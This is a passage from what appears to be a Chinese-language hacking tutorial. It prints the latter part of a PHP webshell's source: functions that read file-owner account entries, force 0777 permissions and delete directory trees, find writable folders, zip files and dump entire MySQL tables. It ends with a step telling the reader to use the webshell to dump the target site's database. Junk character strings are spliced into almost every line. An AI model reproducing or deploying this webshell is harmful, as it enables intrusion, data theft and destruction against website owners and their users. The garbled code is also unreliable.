- if (function_exists('posix_getpwuid')) {" a" [8 T1 {- |" w- A/ L
- $array = @posix_getpwuid(@fileowner($filepath));
0 m, R& Q1 n6 ?; ? - if ($array && is_array($array)) {
: P& n: Y+ N, M" Y - return ' / <a href="#" title="User: '.$array['name'].'
7 O' I) ~. F* h6 ]1 y/ B - Passwd: '.$array['passwd'].'
- e; C2 a% I/ r - Uid: '.$array['uid'].'4 o) |3 S3 @1 |) F( N, U0 J+ S! ?
- gid: '.$array['gid'].'
' h# f7 |5 m' S! u' Q, X: ~0 D$ @ - Gecos: '.$array['gecos'].'
W$ a7 j) { A! p2 e - Dir: '.$array['dir'].'; o9 N. ~6 h3 W8 {1 u8 E6 O
- Shell: '.$array['shell'].'">'.$array['name'].'</a>';
" T, n+ X$ |. J: ]; @+ n - }4 g A% A" R1 J' U
- }
& M- Q$ x7 h# b+ }$ ?$ R. r7 ? - return '';0 Z) U( X0 I; Y8 O2 }% b; p
- }4 \' a. E, p8 ]
- ! t( Z1 J7 w9 r# W) d- f7 n
- // 删除目录9 Q2 x' Y7 l& w3 p
- function deltree($deldir) {
( ^! S4 f8 W5 O1 f2 i - $mydir=@dir($deldir); % E1 e8 X- Z' F8 _
- while($file=$mydir->read()) {
8 q2 d3 y1 m. n/ C6 {/ H - if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { + w! r; X/ D- G
- @chmod($deldir.'/'.$file,0777);2 w8 R$ Y7 M: c) t" U
- deltree($deldir.'/'.$file);
/ a& }6 p( r7 t; K* M+ m4 m3 y/ Y - }
' G2 ]* v/ q. x1 s5 u: c: u - if (is_file($deldir.'/'.$file)) {8 ^5 Q2 Y0 x4 o
- @chmod($deldir.'/'.$file,0777);1 F7 b2 b/ I7 t. L) U; o3 n: }) h9 P
- @unlink($deldir.'/'.$file);
3 a, ^9 ~5 K2 ?( n - }
) o+ {7 O& v7 v, q' M5 C. G* r: ^ - } ! m, ^5 N3 b& u1 Z8 U+ r
- $mydir->close();
V" c6 \" j, [$ P! P3 ^- G5 O - @chmod($deldir,0777);
" V& _1 H; A% U7 T - return @rmdir($deldir) ? 1 : 0;
6 ^- h* i2 n, L5 D - }! I4 T3 z' l- N* \/ `4 L! U
-
& v" H% [5 h1 U - // 表格行间的背景色替换
8 @( w% o; z6 T- Y1 e - function bg() {
' ]; T- N- ]' c- N2 a" w - global $bgc;5 I- L5 \/ t9 L0 B; d
- return ($bgc++%2==0) ? 'alt1' : 'alt2';4 y( a+ G# `5 D1 n$ \2 o7 A" [
- }# V D& u5 c+ Q$ D* e; h0 c" s
- , a2 C7 G5 R8 p/ q4 B# B
- // 获取当前的文件系统路径5 c$ q% y$ A7 E1 [, B! v1 S
- function getPath($scriptpath, $nowpath) {( m7 j5 E# [! r. O6 q" q
- if ($nowpath == '.') {
* ], d( `8 U6 i - $nowpath = $scriptpath;3 k- ^7 k. F( i6 Z" k) Q; ^! H6 C
- }
2 _7 K" N, V" ? - $nowpath = str_replace('\\', '/', $nowpath);: x: e9 K2 M1 b
- $nowpath = str_replace('//', '/', $nowpath);, ?* G, f3 e7 a) f% O$ o1 N
- if (substr($nowpath, -1) != '/') {
) W4 X* I% |" G) P7 e; i - $nowpath = $nowpath.'/';. _# Y1 H' n6 ^4 I R. m+ S6 Q! l6 Q
- }
7 l" {6 V) D/ e9 _ - return $nowpath;0 N2 p$ T' a9 ^; l T! d
- }$ o) O$ C% ^1 S, `9 p% R) t+ H7 K
- ' D7 N. H8 F5 q0 I" f, t
- // 获取当前目录的上级目录
7 o& w7 f4 \4 W3 a7 S7 U4 W - function getUpPath($nowpath) {+ y ]4 K9 c, q: l# B, q, m8 @) e C- h
- $pathdb = explode('/', $nowpath);; v k. G0 L% P. t
- $num = count($pathdb);
5 v$ c0 W7 P: C/ M# g - if ($num > 2) {
' \5 M, h0 N! W; G5 V1 Q - unset($pathdb[$num-1],$pathdb[$num-2]); r# r7 v& R4 U, S7 m: ^. y- R
- }
% }- s: f! E/ [$ e$ U9 W1 o+ P - $uppath = implode('/', $pathdb).'/';" K" w$ e7 p, B: G1 H1 {
- $uppath = str_replace('//', '/', $uppath);
. h+ g1 u" d+ U1 g; B- n& P5 L" k. O - return $uppath;
! ^8 f- @/ G7 S5 U; i - }* |# m# L! B! D1 t/ t
- 5 o" k! X8 |6 a8 s3 e& S
- // 检查PHP配置参数
) p1 y5 N* F$ _; P( z( w) f/ P - function getcfg($varname) {
, i5 g6 ^# z1 ` - $result = get_cfg_var($varname);. P$ I9 R) [- U/ [3 |* {
- if ($result == 0) {
4 A$ D, g1 b; K- n. y5 a - return 'No';
# M& O2 w( G+ _/ j) T. I - } elseif ($result == 1) {7 X, D n+ F2 b. T& G
- return 'Yes';
; t5 ~) s) _2 o8 z - } else {) w( d2 l& T% ^6 u
- return $result;
" t) z o- ~6 P- A - }' g% ]. K4 Z: |# L: Q
- }% J+ E4 M# b/ U1 I
- 1 L# C" t! B1 L6 H- Z- ~: ~
- // 检查函数情况- O. }* h4 ^ ~) k% }
- function getfun($funName) {
4 Y5 G( n1 ~+ J9 g6 C4 K# H: U - return (false !== function_exists($funName)) ? 'Yes' : 'No';
/ D# X1 l3 K: P; a2 Z! n. B - } v# \& F' j$ A- B) u2 ^+ K1 q# q
-
3 a- d9 H; |8 U7 R - function GetList($dir){
c+ Q, ?6 S1 G1 i& I x6 F - global $dirdata,$j,$nowpath;7 U# `& ^* j" w# q( k4 q5 K
- !$j && $j=1;
- n% U! u" |9 k D5 i - if ($dh = opendir($dir)) {! E2 f6 R2 J' X
- while ($file = readdir($dh)) {
6 L7 ?7 M: V. c0 [ S% U - $f=str_replace('//','/',$dir.'/'.$file);2 m. o. Z& j1 e5 u/ }1 P
- if($file!='.' && $file!='..' && is_dir($f)){
, p. D, ?" @+ S( \- Y9 h) x* t2 _" T - if (is_writable($f)) {, R l! E# e* @( I
- $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
8 M( i% h' \3 N b; g { - $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
" B- |5 b7 q7 d0 ]4 G8 K6 \- e - $dirdata[$j]['dirchmod']=getChmod($f);
0 n4 D7 ^0 T7 I# B - $dirdata[$j]['dirperm']=getPerms($f);
: U6 q+ _, D5 U" ~% A0 N - $dirdata[$j]['dirlink']=ue($dir);
$ L: N) K+ E$ J9 | k - $dirdata[$j]['server_link']=$f;
) |. T( w$ w/ \) F- {! u4 z6 Y& S - $dirdata[$j]['client_link']=ue($f);
3 y3 K0 z) q# X5 L4 h - $j++;/ K3 t4 l! a" L6 T
- }
9 J5 ~3 _: d% W/ t. e - GetList($f);
8 Z! l4 X* w$ M8 c! K - }
3 z+ h; s. q0 K. S2 \3 s+ m - }5 M; T" L, T, _- j
- closedir($dh);! P) a F' v7 X p( g
- clearstatcache();
# B$ a3 z8 s5 b9 I0 l. u2 c - return $dirdata;% C; y' J. O& T. _) D1 f
- } else {
) H7 n6 i* s$ ?# t3 G. J8 ~# Y* ~ - return array();9 c1 ^" m* x2 P& I5 O$ ]
- }
a" M; n2 d0 X/ e" c - }! Z5 J' a# Q% i( `' Y) T" y
- . G# |3 C$ h2 _: O
- function qy($sql) { + N" u2 T* `( W: X3 z# B/ q4 J X: I
- //echo $sql.'<br>';
/ O: G0 _- y; \4 P2 Z! U2 T% g - $res = $error = '';1 u6 J: E+ I! N) w3 F9 K, j0 s' y
- if(!$res = @mysql_query($sql)) { % t. q" G9 G& C3 [0 z* i; g8 g/ Z- p: d
- return 0;/ N# \( h' Y9 R8 K
- } else if(is_resource($res)) {
7 w) K& s# |! a( q; A - return 1; 3 K; @! a M8 n- b! o6 L
- } else {0 d' X4 ?3 X; K+ e
- return 2;/ b" T5 z0 a( @/ Z a
- } ) M! r* M0 \2 A9 b
- return 0;! R2 d. N- d4 K& D- e5 H) c" O8 ]/ h
- }: V- @) U3 \" Y8 b' B0 B5 C1 W F
-
+ j u* M( |, x: o0 J* ^ - function q($sql) { " L+ w8 B9 d1 X, w2 O
- return @mysql_query($sql);
/ j! D# Z @( X - }
7 K% |# }- {9 Y" Q7 i -
1 h6 P' t7 O, K - function fr($qy){8 \) Z6 ?5 t: j
- mysql_free_result($qy);/ I3 d! i" ]: t
- }1 A1 F/ ?9 q- N
-
) C. X* H' J0 E - function sizecount($size) {0 n% s. n; e. j3 H9 ^3 h$ C; R
- if($size > 1073741824) {* K' G, }0 h# W% K; L1 y# K" g
- $size = round($size / 1073741824 * 100) / 100 . ' G';
9 `# L" N4 ~! @& p6 g* t - } elseif($size > 1048576) { u9 j8 [0 ^; f) r4 X
- $size = round($size / 1048576 * 100) / 100 . ' M';
2 }. u3 K# i$ {+ _1 s - } elseif($size > 1024) {& z8 x" h# {9 \
- $size = round($size / 1024 * 100) / 100 . ' K';
q$ K+ }; z: K G* X1 V - } else {/ a3 @% j# q6 Y# N8 c: r, r
- $size = $size . ' B';0 j" ?" e' p) T0 X5 Q
- }$ h/ E! K: d" f6 {0 u$ B5 g
- return $size;* g7 i- y: g! }
- }
/ X( z" F5 J3 i -
+ q6 m2 @ @( x, Z1 z2 K - // 压缩打包类! k1 ^7 ^/ G; m
- class PHPZip{
2 T+ Z a+ J; I) D - var $out='';
% m9 F- _1 K1 ?6 y5 k, O( j - function PHPZip($dir) {
. l( [$ ^ c& _$ B, z6 V$ U - if (@function_exists('gzcompress')) {
S( V4 f! k5 d. x8 x( o$ f - $curdir = getcwd();4 ^# ], Q. M y4 U" u
- if (is_array($dir)) $filelist = $dir;
5 \* w! e( o' k$ b - else{
* [. v4 q' W" J8 u) \ - $filelist=$this -> GetFileList($dir);//文件列表" G2 o/ V8 l+ l+ q, w" m i
- foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
8 X9 b: K- `# P$ p. Z' b6 y - }, Z8 g8 c/ V0 Z- s
- if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); v+ Q1 z, @3 t- ^! _
- else chdir($curdir);
4 t+ Y; U* O; s; H - if (count($filelist)>0){
+ ]+ A! C+ u; O# B7 o5 F5 X - foreach($filelist as $filename){ x5 A4 {# w3 ?' N. R0 ~- H. {
- if (is_file($filename)){
# p1 w* t B g( j4 O - $fd = fopen ($filename, 'r');8 K( F r; y4 X; k( _! I* ]$ ^
- $content = @fread ($fd, filesize($filename));
/ R( N% S4 J5 b D* O- }4 A' L - fclose ($fd);
/ o/ D" J1 M2 T5 b+ R4 E0 ]- p - if (is_array($dir)) $filename = basename($filename);/ z0 B; e9 ~# N8 g, D2 T
- $this -> addFile($content, $filename);+ t5 w0 P ]: u. a l. G/ N
- }
' ^; z5 `6 y$ {: s6 r$ Z/ Z' Z - }' h) u5 T. h3 L- t5 _
- $this->out = $this -> file();* w* |' u. G# b, r4 M
- chdir($curdir);# B0 c/ B! M: E+ T, A& e. V2 m6 t
- }
& \, f# N) f6 i( e4 G - return 1;
; H3 {0 |: W& E - }! `; W2 f% Y$ r) d
- else return 0; I2 d6 v; l4 O
- }
5 `; H; [1 Y |, e2 X -
1 p% r# e, a) a& \ - // 获得指定目录文件列表
, H1 i6 h9 ~, ^. l6 U - function GetFileList($dir){
4 O$ t! l. Z% F% u8 k% ^' f - static $a;
/ {8 A2 l# ^5 P* \1 I" f3 ^% | - if (is_dir($dir)) {: X. b7 ?* V% \8 L8 M4 h) C2 f
- if ($dh = opendir($dir)) {
' G% T5 _* |3 h) H1 f - while ($file = readdir($dh)) {3 L% T L' r' y. A
- if($file!='.' && $file!='..'){
( f; _2 P) i7 T+ D" g1 q; T - $f=$dir .'/'. $file;0 s. ^) _: n3 K8 P4 B( p% E, I
- if(is_dir($f)) $this->GetFileList($f);
* T3 w% g; m3 Z% S: S - $a[]=$f;: c0 B8 A# k9 U0 e
- }, j6 n o, t% `- W
- }
; R, c- A0 N+ P4 F/ t - closedir($dh);9 S4 V2 |. w0 }7 ^- T- _
- }
+ ]! j. v: X& t0 D9 Q) c - }# a; J4 h2 Z1 U6 `7 x4 _
- return $a;$ _( K8 J2 f9 S8 k
- }9 q3 a j+ S% r& e8 {9 Y( y2 y
-
# y! x+ D# s4 ~; e( ? - var $datasec = array();
( e- |7 h- Y/ d( I/ O3 F - var $ctrl_dir = array();
5 R! W- }/ p7 V+ | - var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";% _: q9 i. w3 u5 T x# G+ F
- var $old_offset = 0;
* b4 d _5 [& O8 w) E# p0 B1 o; t -
$ F' C& N6 b, I6 J6 e3 M - function unix2DosTime($unixtime = 0) {
! p$ u6 i% j# D1 ?, M - $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);' L: Y/ a7 E+ ?! e6 _5 h2 q7 a
- if ($timearray['year'] < 1980) {2 R. N: @4 j! d2 @, D2 [: B L9 n+ n: n4 Y
- $timearray['year'] = 1980;$ q" K9 Y# _5 G' S
- $timearray['mon'] = 1;
- \8 q1 o& P4 z* I% O - $timearray['mday'] = 1;- T. v2 ^6 {% w% L7 ?
- $timearray['hours'] = 0;7 w! x+ A4 f& J6 j* e
- $timearray['minutes'] = 0;
4 N% A, u: C) m - $timearray['seconds'] = 0;
$ k; ^, g# X. \ c8 l6 x - } // end if$ E- I0 R6 h" C ~3 H* ^0 e
- return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |* t/ z+ E* Z$ I6 @2 J5 ]- N
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
5 Z, }. ^/ X, [" y {. ]/ _ - }: W9 k3 b! }' `; @
- function addFile($data, $name, $time = 0) {
) k& w" f7 \7 a, U - $name = str_replace('\\', '/', $name);/ X) K8 O; P* H! c1 A
- $dtime = dechex($this->unix2DosTime($time));
5 L7 q2 @, J5 w" V - $hexdtime = '\x' . $dtime[6] . $dtime[7]8 [7 R% A3 L1 S; N. S5 L
- . '\x' . $dtime[4] . $dtime[5]- ?# Q; s1 \5 E4 Q2 b8 x' {
- . '\x' . $dtime[2] . $dtime[3]
9 s' V; [- G4 N& m7 P - . '\x' . $dtime[0] . $dtime[1];, E% I/ x, I8 v" K1 X
- eval('$hexdtime = "' . $hexdtime . '";');# j9 Q7 D- F9 y9 K M
- $fr = "\x50\x4b\x03\x04";
5 T4 B. ]* t5 H! W, \6 y - $fr .= "\x14\x00";
! `8 w5 m; Q0 M' g - $fr .= "\x00\x00";
, J! J' M) |$ h) X - $fr .= "\x08\x00";7 p: o9 s% r4 z* D& X- z1 h9 s& p
- $fr .= $hexdtime;$ R; i# X9 Y+ C2 R) Y# x" @
- $unc_len = strlen($data);
7 r$ g# W' x6 O* @4 x - $crc = crc32($data);
* O1 w& _9 W$ p! n - $zdata = gzcompress($data);; B; ~, y0 [8 A5 g7 R
- $c_len = strlen($zdata);0 o- i+ B& K7 F% Q$ W; r
- $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);0 }# ?$ Q1 i! F) G1 v/ l6 N
- $fr .= pack('V', $crc);
, e: B* y8 T8 a5 j - $fr .= pack('V', $c_len);
1 P1 }% X3 E! d' N% P! D) Y - $fr .= pack('V', $unc_len);
1 E6 e5 N2 `3 ^( b5 D - $fr .= pack('v', strlen($name));
+ Z* b. ^/ l2 S* z+ u, K5 y - $fr .= pack('v', 0);# z- c7 I2 r$ W* B' `
- $fr .= $name;0 Y' c* Z2 Q/ t3 p) x, n
- $fr .= $zdata;
8 x3 j" W, [# y$ ~ - $fr .= pack('V', $crc);
2 f% H! b& y2 U5 I2 C2 o' X1 V - $fr .= pack('V', $c_len);! g9 g0 t S* S) i4 Y" Z; L* I
- $fr .= pack('V', $unc_len);! t( f$ i$ [. ?/ w/ R8 E9 @
- $this -> datasec[] = $fr;% `. ~! a/ i# i" |5 d
- $new_offset = strlen(implode('', $this->datasec));
# H! _0 Y2 T q& ~ ^- B% o - $cdrec = "\x50\x4b\x01\x02";1 v4 A. ?( Z8 p3 b
- $cdrec .= "\x00\x00";! G( D- A' d! ~0 N6 @
- $cdrec .= "\x14\x00";) J, n4 F- W+ p- d* K/ F
- $cdrec .= "\x00\x00";8 J! A. W' D$ O" G6 H9 x2 t1 B& C. J
- $cdrec .= "\x08\x00"; M( u2 h9 D; O4 g3 B$ p P I
- $cdrec .= $hexdtime;
+ h# h6 Z f# l5 S7 p( X7 G9 c - $cdrec .= pack('V', $crc);" F6 ]1 h4 ]/ Q6 x& N7 @
- $cdrec .= pack('V', $c_len);5 z6 B6 l) X. w
- $cdrec .= pack('V', $unc_len);
' t+ u+ S" b" V4 H) s |) _* b - $cdrec .= pack('v', strlen($name) );2 A8 j3 g/ g) k$ M- S
- $cdrec .= pack('v', 0 );- @. [7 @7 x; j+ m" u
- $cdrec .= pack('v', 0 );
% a) j7 H* v' R' t - $cdrec .= pack('v', 0 );
) [* _% ^/ B3 t5 d - $cdrec .= pack('v', 0 );4 @8 _5 I2 ?- K4 e" G. m7 X. }6 ]" V; L
- $cdrec .= pack('V', 32 );
. @" X2 a- q/ p8 _1 {# l1 y8 N - $cdrec .= pack('V', $this -> old_offset );, g% w$ K2 h* f/ Y3 s/ f1 H
- $this -> old_offset = $new_offset;6 Q$ g9 a9 Y: q% k9 G
- $cdrec .= $name;
$ C8 }8 F# Q' {6 D: r& T - $this -> ctrl_dir[] = $cdrec;
; O$ F$ @5 X! k - }
1 g# \7 l! G! D4 R - function file() {7 y u2 Y& j; D+ m7 D) |
- $data = implode('', $this -> datasec);
2 J9 F S5 O2 ]/ g/ v0 t8 F& H - $ctrldir = implode('', $this -> ctrl_dir);7 u. p1 _' c6 ` L- k
- return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";; ~& Q0 D1 U: `# p' q' F$ H
- }
8 O) M; r% N$ O5 n/ I. M4 V - }* F! o. h+ E5 X; n
- // 备份数据库( A2 L. B# h3 H7 n! f7 W! O
- function sqldumptable($table, $fp=0) {
. ?6 U' j3 [# v9 g, x: l0 I - $tabledump = "DROP TABLE IF EXISTS $table;\n";
& E- @( u$ m3 O* b3 s% R0 e; K - $tabledump .= "CREATE TABLE $table (\n";- W( \# u. f t1 s% t7 V0 N
- $firstfield=1;
# k- R [9 w) t: i) R - $fields = q("SHOW FIELDS FROM $table");
: ~% J3 c0 d& v3 Z7 V D) ~' p - while ($field = mysql_fetch_array($fields)) {
/ J9 Q. \: q4 z1 V; ~ - if (!$firstfield) {
; J1 v1 C3 ~: b% P. N4 p - $tabledump .= ",\n";/ ?8 @7 |: ?$ E. c, \) d; ?3 e
- } else {
3 c) D" ?1 i9 j, v - $firstfield=0;
1 L8 O, q7 V2 Y3 c4 C5 c: R% w - }' L$ Z9 O. c. z. x5 z V
- $tabledump .= " $field[Field] $field[Type]";
8 ?' c- ~3 s. Q0 J$ m, S - if (!empty($field["Default"])) {& k; d$ `8 N/ \6 @& U, k
- $tabledump .= " DEFAULT '$field[Default]'";# O9 q2 d. D2 ]# {5 f% ^0 y
- }
, `* u2 C( }$ |. u9 r - if ($field['Null'] != "YES") {0 x7 a }3 x; z5 l+ s# ~
- $tabledump .= " NOT NULL";
7 Y7 S+ Z( b( g5 I - }
% s/ Z! r1 b: n: J0 B9 P - if ($field['Extra'] != "") {; f j4 I$ r+ [4 u% j: C8 m
- $tabledump .= " $field[Extra]";
- g) r5 n3 X; [3 E+ i - }0 Z# B; K+ d. j9 B0 H( m5 l! [
- }; V; |. m+ G% e# |* v7 S
- fr($fields);
- Z- k5 s3 N8 d2 A - $keys = q("SHOW KEYS FROM $table");! [# `6 F- G& @/ I, D Y
- while ($key = mysql_fetch_array($keys)) {
3 G. h5 u- x4 R9 B/ y0 V - $kname=$key['Key_name'];! W/ W4 `) k$ \* y( C& P
- if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {3 D% Q) }4 y7 E: ~' Z
- $kname="UNIQUE|$kname";- C# i1 O( O& l3 d3 [. o5 p2 X5 q
- }
9 x: h! K8 S9 R; l, {. b$ j - if(!is_array($index[$kname])) {, P4 z3 I7 j$ N2 o) h: e c$ p
- $index[$kname] = array();
$ a: f3 m, ]8 w& _7 W& b - }( x8 o/ X" Q N& D* U0 u' c z
- $index[$kname][] = $key['Column_name'];
8 p% ]) Q' x: D% K" j - }4 W y. Q0 }; p) r; F
- fr($keys);0 D% I" B) w- B
- while(list($kname, $columns) = @each($index)) {
5 n8 t/ ^/ n9 x' o! | - $tabledump .= ",\n";/ K$ m& `" x1 K. V( L
- $colnames=implode($columns,",");* z' c7 ]( m2 G! H: u1 H' E' ?
- if ($kname == "PRIMARY") {. V3 B6 j3 G) S1 C$ v, O* S
- $tabledump .= " PRIMARY KEY ($colnames)";
8 M' r1 P/ a' e% a* l, `+ \ - } else {
# m' b$ h& [0 N" Z1 F - if (substr($kname,0,6) == "UNIQUE") {
1 C2 j# F. e& x) L0 { - $kname=substr($kname,7);
3 M, s! w) e7 o& U& y - }) \2 q2 u% q' z
- $tabledump .= " KEY $kname ($colnames)";
) s3 r9 M, |- _) c3 f* a" r - }
8 N6 P6 g& o" S* e" h1 S9 U0 K9 t - }6 }9 p: C8 w; p
- $tabledump .= "\n);\n\n";1 a Q5 B5 P# W3 n, C% m
- if ($fp) {
* Z5 P% b) O- c/ e) ?4 x2 n1 D - fwrite($fp,$tabledump);* J6 w- p' q4 u3 E5 d" C
- } else {
" _" W) ?- F: r1 }% W$ a: n+ x - echo $tabledump;
, [9 C( x& _# t0 T - }4 W; |; w) v+ K0 W6 d
- $rows = q("SELECT * FROM $table");) b, W0 a+ O! g6 {6 r- s- B0 z$ V
- $numfields = mysql_num_fields($rows);
5 b( Q' I& C7 C - while ($row = mysql_fetch_array($rows)) {
+ X3 d' D0 p! | | - $tabledump = "INSERT INTO $table VALUES(";: ]0 f5 D& x f- p6 H% L' F
- $fieldcounter=-1;
7 @, p7 S$ |4 \$ f/ B4 ` - $firstfield=1;; u8 Z# r; T& O/ v5 @3 g* G% G
- while (++$fieldcounter<$numfields) {8 x) K8 B& M* M# \# [ ^& P
- if (!$firstfield) {$ Q* {( S' c& {/ B( u5 ?1 v# H. t& b
- $tabledump.=", ";
& K: ~0 d' F8 X6 D0 s# T8 I; R - } else {
2 s) R; j4 F' j$ b# t% w6 t - $firstfield=0;
* k, t( Q& \1 @" T - }
@* s W( Y0 c* D+ _ - if (!isset($row[$fieldcounter])) {. E8 O1 T( h" ?$ g( ~
- $tabledump .= "NULL";2 V$ K' ^8 ~* X ]
- } else {! A7 d) X, I; }' y: z. Q% U( a
- $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";" T2 }) G" K5 o
- }
% s; I* F1 ^/ V3 A0 l - }
]% ^+ V- K- G" {5 ^ - $tabledump .= ");\n";
, W8 M$ R( f5 p% |/ K( n - if ($fp) {4 y0 q& A9 i" M# p$ l7 x
- fwrite($fp,$tabledump);
7 X) R& y2 C! O: n, o& n - } else {" W4 c# y4 v5 u- c3 k( `: x
- echo $tabledump;" } Y* j, J, D$ B0 S! w1 O/ L
- }
- a, R1 ~3 _2 a2 f& s3 W - }8 x) q8 U% P5 H1 o4 e' X: k
- fr($rows);
) {$ }: a, |! G! I, n o" S/ _ - if ($fp) {
F4 D: S' I- h9 T0 N - fwrite($fp,"\n");
" k2 R! z! A) Y, q - } else {
7 P# }/ |3 I+ x$ ]: _ c - echo "\n";
! U, \6 ?' K$ `/ I7 E - }
7 q' P: r0 G. C! [3 Y) U) P3 j - }8 {9 @/ k( T: \# f( r! `8 [8 T1 b
- function ue($str){
# i" z3 I8 `" Z$ _4 b - return urlencode($str);7 z' v8 Z# { i. d7 M6 \, N
- }6 z8 A n0 l0 o
- function p($str){* p% ^7 K) K( l% K7 J
- echo $str."\n";- s7 {! A1 T A
- }- X- ?. J& M. n9 h! h5 G
- function tbhead() {: p& n- n; g8 p' R
- p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');; @7 |) Y, A7 \5 P; i& d
- }
S& n1 ^: x: I - function tbfoot(){
7 L, L; O5 x2 [0 C- U. f9 W - p('</table>');
* x! y, D$ }8 p* _% n( n h+ v6 k - }% k5 q# w( c% Q+ `1 l! M
- function makehide($name,$value=''){
5 y( I; s8 e2 y0 g" ^: @ - p("<input id="$name" type="hidden" name="$name" value="$value" />");
+ G$ x) S6 N. K! @# k - }
. H# W/ H* |1 U: | - function makeinput($arg = array()){, g% x; s+ S3 X
- $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";/ l9 ]# b& o) g6 M7 n# Y8 C/ k/ N
- $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';" q/ R/ B8 J& @
- !$arg['type'] && $arg['type'] = 'text';
" U7 L7 a" A$ l0 L* e# g i, c5 G4 ` - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
5 @% c7 b U, X3 [4 i; C" ^" r" ]5 H - $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
9 O9 ^. n$ A- W4 b - if ($arg['newline']) {
2 U2 v' H( U( j C' c9 n - p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
. ^% c6 |7 f; x& y - } else {
% I: w' s% t8 U% k6 M! L& _ - p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");$ |$ W; @$ l: i& r$ s4 @" h r
- }! m! ^" D$ ~, B7 [* U' E; Y
- }7 V ~& ^/ d3 a- L7 U
- function makeselect($arg = array()){2 v2 e2 j' t7 s6 S# x3 |" L
- if ($arg['onchange']) {
' j/ R+ E: J' z - $onchange = 'onchange="'.$arg['onchange'].'"';+ |, w. X! j. R* ^% d
- }5 G5 h' |- m; Q* S, H/ A% _
- $arg['title'] = $arg['title'] ? $arg['title'] : ''; \8 O) O: o7 p y- n% _. i2 Y( a
- if ($arg['newline']) p('<p>');
& m# e- i) \$ T: F - p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");5 j* z+ c0 U; |7 ^8 K6 e
- if (is_array($arg['option'])) {
6 c$ J& u& W- _. Z - foreach ($arg['option'] as $key=>$value) {
2 ]2 |/ H+ p% u/ G; n# U - if ($arg['selected']==$key) {' W, E7 P' ~$ f2 \
- p("<option value="$key" selected>$value</option>");
! L7 Q5 ?" R. K8 Z+ e: ` - } else {
, ]" b, |7 K3 D* W$ P - p("<option value="$key">$value</option>");( ]8 X; g5 h, J! S0 N
- }
; I4 o7 V* Y/ ~% B - }
) ?$ |% |* x* [" t" A" d! X - }
. R% z# b3 D: T: V8 H- @' \ - p("</select>");$ l0 Z& K I- g) Z5 F
- if ($arg['newline']) p('</p>');
, M" a& Q. C' y1 J - }& d9 v5 l3 v6 g, {' s$ }
- function formhead($arg = array()) {+ C1 X9 ~" M4 Q% k. M8 m
- !$arg['method'] && $arg['method'] = 'post';8 P# J$ h8 m$ i$ N3 ^' t; C
- !$arg['action'] && $arg['action'] = $self;
+ {$ r7 `* f, d. P% Z - $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';4 a' f: M# P8 u* h) l! l+ O( n
- !$arg['name'] && $arg['name'] = 'form1';! L, w9 f3 V6 Z1 o& _1 [, I) L
- p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");3 h% k. p( x3 d3 {* A( {
- if ($arg['title']) {
& z0 ]7 o. ]( e$ @1 i% J - p('<h2>'.$arg['title'].' »</h2>');
( j* s" a% |! K9 R$ b, d - }7 j7 |0 ?, p+ w( ]% `/ |. K0 F. ~* j
- }
5 e6 a" Z9 M$ h -
- L* J" s& S" Z- {+ e - function maketext($arg = array()){* A7 l* U/ q4 U7 _" U' I
- !$arg['cols'] && $arg['cols'] = 100;
g: W& G7 h- b) ] `; }: X+ M - !$arg['rows'] && $arg['rows'] = 25;$ F9 V- g' G7 b
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';$ {$ a( T( f9 S
- p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");/ \& l+ ^" X. K1 `+ ^7 M" i2 B9 z
- }
* U$ @( c+ v/ w5 E( \ -
# g, f% w; }/ u! `$ G - function formfooter($name = ''){6 V% @5 K6 H/ l1 G+ U# c& Z& O: i
- !$name && $name = 'submit';
! r8 X# T+ m6 l5 V" ? - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');; r) C8 f$ P0 C$ E+ O1 V
- p('</form>');4 y2 r; n' x% h: N$ ]! g
- }
" W1 t' g4 I& \8 {! j; U) y5 ?7 U - ( ?* q6 V4 h3 w9 k+ G- Y# m
- function formfoot(){
9 }2 q+ p( |& L* u - p('</form>');4 s+ n' u6 e8 _, {) R" Z) ]
- }
+ J9 B; \1 t6 n/ F. u4 R7 y -
^, b& s, b( C! t2 l - // 调试函数% \( o. O- O( O4 O3 E2 d
- function pr($a) {( c, F" _. Z3 y, k8 q& O
- echo '<pre>';
( z- Q8 y3 r$ K - print_r($a);" F+ D6 _/ x5 U' V0 D W9 j
- echo '</pre>';* V2 t1 M5 q3 T Q5 e2 D+ l
- }: Q0 P4 j* B3 s# ~0 p$ ?
-
( _0 C/ Z& @8 w - ?>
复制代码11、最后通过大码对网站数据库进行脱库
, s8 k1 ^. O) d' x+ p 5 ], }5 u. H# i7 A) _ [
" t' r% A0 F1 P" p
|